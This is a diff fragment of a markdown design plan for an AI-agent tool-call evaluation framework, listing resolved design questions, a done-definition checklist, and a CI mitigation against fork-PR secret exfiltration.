+ 5. **Fork PR secret exfiltration.** Mitigation in CI integration section above — `pull_request_target` + `/eval` comment gate + maintainer approval + framework runner from `main` not from PR.
445
+
446
+ ## Open questions (resolved + remaining)
447
+
448
+ | Q | Resolution |
449
+ |---|------------|
450
+ | ~~Should fixtures be JSONL or YAML?~~ | YAML (per review). |
451
+ | ~~Should the matcher support negative assertions?~~ | Yes — `expectNoToolCall: true`. |
452
+ | ~~Should `actual` be a single tool call or an array?~~ | Array (per review). Anthropic's parallel tool-call protocol requires it. |
453
+ | ~~Should `evalAgentPrompt` capture the full session log?~~ | Partially — `actual: ToolCall[]` + `text: string` + `usage`. Full per-message transcript with tool-result stages is v2 (multi-turn evals). |
454
+ | Should we ship a small "playground" CLI for manual prompt iteration? | Defer. Adjacent to evals but pulls UX in a different direction. |
455
+ | Where do per-host fixture files live? | Decentralized per-package: `packages/<consumer>/eval/*.yaml`. Each consumer asserts against the catalog they actually deploy. |
456
+
457
+ ## Done definition
458
+
459
+ - [ ] `@boring/agent/testing` exports `evalAgentPrompt`, `runEvalSuite`, `EvalAny`, `EvalRegex`, plus the result + options + matcher types.
460
+ - [ ] One fixture file (`packages/agent/eval/standard-tools.yaml`) with ≥ 5 prompts covering bash / read / write / edit / find. Suite runs against `createAgentApp` and passes against the pinned model on a clean run.
461
+ - [ ] CLI: `pnpm --filter @boring/agent eval [path]` runs a suite and exits non-zero on any failure (or on suite-level timeout).
462
+ - [ ] Vitest unit tests for the matcher (partial-match, EvalAny, EvalRegex, strict mode, missing key, type mismatch, parallel-call existence check, expectFirst ordering, expectNoToolCall negative). NO real LLM in unit tests — the matcher is exercised against fixed `ToolCall[]` inputs.
463
+ - [ ] One canary vitest suite using a real LLM, gated on `ANTHROPIC_API_KEY` being present (skip-with-warning otherwise), runs ≤ 3 prompts to validate the framework end-to-end without burning tokens on every PR.
464
+ - [ ] Documentation in `packages/agent/README.md` + a one-paragraph reference in `packages/workspace/docs/plans/archive/WORKSPACE_V2_PLAN.md`.
465
+ - [ ] CI workflow files: nightly cron + per-PR canary + fork-PR `/eval` trigger with environment protection.
466
+ - [ ] No-API-key path: framework prints a clear "skipping evals: ANTHROPIC_API_KEY not set" warning and exits 0. Verified by a CI matrix entry that runs the canary without the secret set.